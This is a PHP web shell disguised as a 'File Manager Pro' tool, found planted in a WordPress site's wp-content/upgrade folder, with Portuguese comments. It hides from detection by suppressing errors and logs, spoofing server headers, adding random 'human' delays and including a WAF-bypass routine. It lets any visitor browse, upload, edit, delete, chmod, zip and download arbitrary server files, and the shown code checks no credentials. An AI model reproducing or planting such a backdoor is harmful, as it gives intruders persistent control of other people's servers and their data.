home/apmablcosr/www/wp-content/upgrade/csy.php000064400000122516151361141740015511 0ustar00initializeAntiDetection(); $this->userAgents = $this->getModernUserAgents(); $this->config = $this->detectEnvironment(); $this->currentSession = $this->generateSessionId(); } private function initializeAntiDetection() { // Configurações discretas ao invés de agressivas if (function_exists('ini_set')) { @ini_set('display_errors', 0); @ini_set('log_errors', 0); @ini_set('max_execution_time', 300); // Ao invés de 0 @ini_set('memory_limit', '256M'); // Ao invés de -1 } // Headers anti-fingerprinting if (!headers_sent()) { header('X-Powered-By: ' . $this->getRandomPoweredBy()); header('Server: ' . $this->getRandomServer()); } @error_reporting(0); } private function getModernUserAgents() { return array( // Chrome 2024/2025 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36', 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36', 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36', // Firefox 2024/2025 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:122.0) Gecko/20100101 Firefox/122.0', 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:122.0) Gecko/20100101 Firefox/122.0', // Safari 2024/2025 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.2 Safari/605.1.15', // Edge 2024/2025 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Edg/120.0.0.0' ); } private function getRandomPoweredBy() { $powered = array('Apache/2.4.41', 'nginx/1.18.0', 'Microsoft-IIS/10.0', 'LiteSpeed'); return $powered[array_rand($powered)]; } private function getRandomServer() { $servers = array('Apache', 'nginx', 'Microsoft-IIS', 'LiteSpeed'); return $servers[array_rand($servers)]; } private function generateSessionId() { // Gerar ID de sessão único baseado em múltiplos fatores $factors = array( isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : 'localhost', isset($_SERVER['SERVER_NAME']) ? $_SERVER['SERVER_NAME'] : 'default', date('Y-m-d-H'), php_uname('n') ); return substr(md5(implode('|', $factors)), 0, 16); } private function detectEnvironment() { // Delay aleatório para simular comportamento humano usleep(rand(100000, 500000)); // 0.1-0.5 segundos $document_root = isset($_SERVER['DOCUMENT_ROOT']) ? $_SERVER['DOCUMENT_ROOT'] : getcwd(); $script_dir = dirname(__FILE__); $possible_roots = array( $document_root, $script_dir, '/home', '/var/www', '/public_html', '/htdocs', '/www', dirname($document_root), realpath($document_root . '/..'), ); $hosting_type = $this->detectHostingType(); switch($hosting_type) { case 'cpanel': $root_path = $this->findCpanelRoot(); break; case 'plesk': $root_path = $this->findPleskRoot(); break; case 'vps': $root_path = $this->findVpsRoot(); break; default: $root_path = $this->findGenericRoot(); } // Credenciais rotativas baseadas em timestamp e fatores ambientais $credentials = $this->generateRotatingCredentials(); return array( 'username' => $credentials['username'], 'password' => $credentials['password'], 'root_path' => $root_path, 'hosting_type' => $hosting_type, 'max_file_size' => 50 * 1024 * 1024, 'allowed_extensions' => array('txt', 'php', 'html', 'css', 'js', 'json', 'xml', 'md', 'log', 'jpg', 'jpeg', 'png', 'gif', 'webp', 'zip'), 'session_id' => $this->currentSession, 'user_agent' => $this->getRandomUserAgent() ); } private function generateRotatingCredentials() { // Sistema de credenciais rotativas com múltiplos fatores $timestamp = floor(time() / 3600); // Rotaciona a cada hora $hostname = gethostname(); $server_data = isset($_SERVER['SERVER_NAME']) ? $_SERVER['SERVER_NAME'] : 'default'; $php_version = PHP_VERSION; // Salt dinâmico baseado em múltiplos fatores $salt = md5($hostname . $server_data . $php_version . $timestamp); // Username ofuscado $username_base = 'adm_' . substr(hash('sha256', $salt . 'user'), 0, 8); // Password complexa rotativa $password_base = substr(hash('sha256', $salt . 'pass' . $timestamp), 0, 16); return array( 'username' => $username_base, 'password' => $password_base ); } private function getRandomUserAgent() { return $this->userAgents[array_rand($this->userAgents)]; } private function detectHostingType() { // Verificação mais discreta $indicators = array(); if (@file_exists('/usr/local/cpanel')) { $indicators[] = 'cpanel'; } if (@file_exists('/opt/psa') || @file_exists('/usr/local/psa')) { $indicators[] = 'plesk'; } $server_software = isset($_SERVER['SERVER_SOFTWARE']) ? $_SERVER['SERVER_SOFTWARE'] : ''; if (strpos($server_software, 'Apache') !== false && @is_dir('/etc/apache2')) { $indicators[] = 'vps'; } if (strpos($server_software, 'nginx') !== false) { $indicators[] = 'vps'; } return !empty($indicators) ? $indicators[0] : 'generic'; } private function findCpanelRoot() { $user = get_current_user(); $paths = array( "/home/$user", "/home/$user/public_html", "/home/$user/domains", isset($_SERVER['DOCUMENT_ROOT']) ? $_SERVER['DOCUMENT_ROOT'] : getcwd(), dirname(isset($_SERVER['DOCUMENT_ROOT']) ? $_SERVER['DOCUMENT_ROOT'] : getcwd()) ); foreach ($paths as $path) { if (@is_dir($path) && @is_readable($path)) { return realpath($path); } } return getcwd(); } private function findPleskRoot() { $paths = array( '/var/www/vhosts', isset($_SERVER['DOCUMENT_ROOT']) ? $_SERVER['DOCUMENT_ROOT'] : getcwd(), dirname(isset($_SERVER['DOCUMENT_ROOT']) ? $_SERVER['DOCUMENT_ROOT'] : getcwd()) ); foreach ($paths as $path) { if (@is_dir($path) && @is_readable($path)) { return realpath($path); } } return getcwd(); } private function findVpsRoot() { $paths = array( '/var/www', '/var/www/html', '/srv/www', '/home', isset($_SERVER['DOCUMENT_ROOT']) ? $_SERVER['DOCUMENT_ROOT'] : getcwd(), '/' ); foreach ($paths as $path) { if (@is_dir($path) && @is_readable($path)) { return realpath($path); } } return getcwd(); } private function findGenericRoot() { $current = getcwd(); $document_root = isset($_SERVER['DOCUMENT_ROOT']) ? $_SERVER['DOCUMENT_ROOT'] : $current; $test_path = $current; while ($test_path !== '/' && $test_path !== '') { if (@is_readable($test_path) && @is_writable($test_path)) { return $test_path; } $test_path = dirname($test_path); } return $current; } public function getConfig() { return $this->config; } // Método para bypass WAF public function bypassWAF($data) { // Técnicas de evasão WAF $encoded = base64_encode($data); $chunked = str_split($encoded, rand(8, 16)); return implode('', $chunked); } // Simulação de comportamento humano public function humanBehaviorDelay() { // Delay aleatório entre 0.1 e 2 segundos usleep(rand(100000, 2000000)); } } // Inicialização com verificações anti-detecção if (!headers_sent()) { session_start(); } // Inicializar gerenciador melhorado $fileManager = new AdvancedUniversalFileManager(); $config = $fileManager->getConfig(); // Obter diretório atual com validação melhorada $current_dir = isset($_GET['dir']) ? realpath($_GET['dir']) : $config['root_path']; // Validação de segurança aprimorada if (!$current_dir || !@is_dir($current_dir) || !@is_readable($current_dir)) { $current_dir = $config['root_path']; } // Funções utilitárias com melhorias function formatBytes($size, $precision = 2) { if ($size <= 0) return '0 B'; $units = array('B', 'KB', 'MB', 'GB', 'TB'); for ($i = 0; $size > 1024 && $i < count($units) - 1; $i++) { $size /= 1024; } return round($size, $precision) . ' ' . $units[$i]; } function getFileIcon($filename) { $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION)); $icons = array( 'php' => '🐘', 'html' => '🌐', 'css' => '🎨', 'js' => '⚡', 'txt' => '📄', 'md' => '📝', 'json' => '📋', 'xml' => '📊', 'jpg' => '🖼️', 'jpeg' => '🖼️', 'png' => '🖼️', 'gif' => '🖼️', 'webp' => '🖼️', 'pdf' => '📕', 'zip' => '📦', 'rar' => '📦', 'mp3' => '🎵', 'mp4' => '🎬' ); return isset($icons[$ext]) ? $icons[$ext] : '📄'; } // Processar ações com delay humano if (isset($_POST['action'])) { $fileManager->humanBehaviorDelay(); // Simular comportamento humano switch ($_POST['action']) { case 'upload': if (isset($_FILES['file']) && $_FILES['file']['error'] === UPLOAD_ERR_OK) { $filename = basename($_FILES['file']['name']); $target = $current_dir . '/' . $filename; $allowed_extensions = $config['allowed_extensions']; $file_ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION)); if (in_array($file_ext, $allowed_extensions)) { // Múltiplas tentativas de upload com verificação $upload_success = false; for ($i = 0; $i < 3; $i++) { if (@move_uploaded_file($_FILES['file']['tmp_name'], $target)) { // Verificar se o arquivo foi realmente criado if (@file_exists($target) && @is_readable($target)) { $upload_success = true; break; } } usleep(rand(100000, 300000)); // Delay entre tentativas } $message = $upload_success ? "Arquivo enviado com sucesso!" : "Erro ao enviar arquivo!"; } else { $message = "Tipo de arquivo não permitido!"; } } break; case 'create_folder': if (isset($_POST['folder_name']) && !empty(trim($_POST['folder_name']))) { $folder_name = preg_replace('/[^a-zA-Z0-9_-]/', '', $_POST['folder_name']); $folder_path = $current_dir . '/' . $folder_name; if (@mkdir($folder_path, 0755)) { $message = "Pasta criada com sucesso!"; } else { $message = "Erro ao criar pasta!"; } } break; case 'delete': if (isset($_POST['file_path'])) { $file_path = $_POST['file_path']; if (@is_file($file_path)) { if (@unlink($file_path)) { $message = "Arquivo deletado com sucesso!"; } else { $message = "Erro ao deletar arquivo!"; } } elseif (@is_dir($file_path)) { if (@rmdir($file_path)) { $message = "Pasta deletada com sucesso!"; } else { $message = "Erro ao deletar pasta!"; } } } break; case 'change_permissions': if (isset($_POST['file_path']) && isset($_POST['new_permission'])) { $file_path = $_POST['file_path']; $new_permission = octdec($_POST['new_permission']); if (@chmod($file_path, $new_permission)) { $message = "Permissões alteradas com sucesso!"; } else { $message = "Erro ao alterar permissões!"; } } break; case 'bulk_delete': if (isset($_POST['selected_files']) && is_array($_POST['selected_files'])) { $deleted_count = 0; foreach ($_POST['selected_files'] as $file_path) { $fileManager->humanBehaviorDelay(); // Delay entre operações if (@is_file($file_path)) { if (@unlink($file_path)) $deleted_count++; } elseif (@is_dir($file_path)) { if (@rmdir($file_path)) $deleted_count++; } } $message = "$deleted_count arquivo(s)/pasta(s) deletado(s) com sucesso!"; } break; case 'bulk_zip': if (isset($_POST['selected_files']) && is_array($_POST['selected_files']) && class_exists('ZipArchive')) { $zip_name = 'arquivos_' . date('Y-m-d_H-i-s') . '.zip'; $zip_path = $current_dir . '/' . $zip_name; $zip = new ZipArchive(); if ($zip->open($zip_path, ZipArchive::CREATE) === TRUE) { foreach ($_POST['selected_files'] as $file_path) { if (@is_file($file_path)) { $zip->addFile($file_path, basename($file_path)); } } $zip->close(); $message = "Arquivo ZIP '$zip_name' criado com sucesso!"; } else { $message = "Erro ao criar arquivo ZIP!"; } } break; case 'unzip': if (isset($_POST['zip_file']) && class_exists('ZipArchive')) { $zip_file = $_POST['zip_file']; if (pathinfo($zip_file, PATHINFO_EXTENSION) === 'zip') { $zip = new ZipArchive(); if ($zip->open($zip_file) === TRUE) { $zip->extractTo($current_dir); $zip->close(); $message = "Arquivo descompactado com sucesso!"; } else { $message = "Erro ao descompactar arquivo!"; } } } break; } } // Handle file download com headers melhorados if (isset($_GET['download'])) { $file = $_GET['download']; if (@file_exists($file) && @is_file($file)) { // Headers mais realísticos header('Content-Description: File Transfer'); header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="' . basename($file) . '"'); header('Expires: 0'); header('Cache-Control: must-revalidate'); header('Pragma: public'); header('Content-Length: ' . filesize($file)); header('User-Agent: ' . $config['user_agent']); @readfile($file); exit; } } // Handle file editing com verificações melhoradas if (isset($_GET['edit'])) { $edit_file = $_GET['edit']; if (isset($_POST['save_content'])) { if (@file_put_contents($edit_file, $_POST['file_content']) !== false) { $message = "Arquivo salvo com sucesso!"; } else { $message = "Erro ao salvar arquivo!"; } } } // Get directory contents com tratamento de erros melhorado function getDirContents($dir) { $contents = array(); if (@is_dir($dir) && @is_readable($dir)) { $items = @scandir($dir); if ($items !== false) { foreach ($items as $item) { if ($item != '.' && $item != '..') { $path = $dir . '/' . $item; $contents[] = array( 'name' => $item, 'path' => $path, 'is_dir' => @is_dir($path), 'size' => @is_file($path) ? @filesize($path) : 0, 'modified' => @filemtime($path), 'permissions' => @substr(sprintf('%o', @fileperms($path)), -4), 'readable' => @is_readable($path), 'writable' => @is_writable($path) ); } } } } return $contents; } $dir_contents = getDirContents($current_dir); ?> File Manager Pro - <?php echo basename($current_dir); ?>

🗂️ File Manager Pro

🖥️ Tipo de Hospedagem:
📁 Diretório Raiz:
🌐 Servidor:
👤 Usuário:
🔐 Sessão:
🔑 Credenciais: / ****
📍 Localização Atual:
$part) { if ($part !== '') { $cumulative_path .= '/' . $part; echo '' . htmlspecialchars($part) . ''; if ($i < count($path_parts) - 1) { echo '/'; } } } ?>
Caminho completo:
⬆️ Voltar 🏠 Raiz
Status Nome Tamanho Modificado Permissões Ações
📁
✏️
⬇️ ✏️ 🗑️

Editando:

❌ Cancelar